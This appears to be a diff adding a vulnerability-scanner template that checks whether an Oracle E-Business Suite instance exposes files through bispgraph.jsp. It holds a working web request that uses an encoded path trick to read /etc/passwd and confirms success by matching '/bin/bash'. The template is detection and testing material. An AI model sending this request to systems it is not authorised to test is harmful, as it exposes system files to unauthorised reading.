Oracle EBS Bispgraph File Access Vulnerability

A test to check whether you can read the etc/password file on a vulnerable Oracle Enterprise Business Suite instance

vulnerabilities/oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml

@@ -0,0 +1,18 @@
+id: Oracle EBS bispgrapgh File Access Vulnerability
+
+# Source: David Lithcfield
+
+info:
+  name: bispgrapgh File Access Vulnerability
+  author: Alfie Njeru (@emenalf) - https://the-infosec.com
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+      
+    matchers:
+      - type: word
+        words:
+          - "/bin/bash"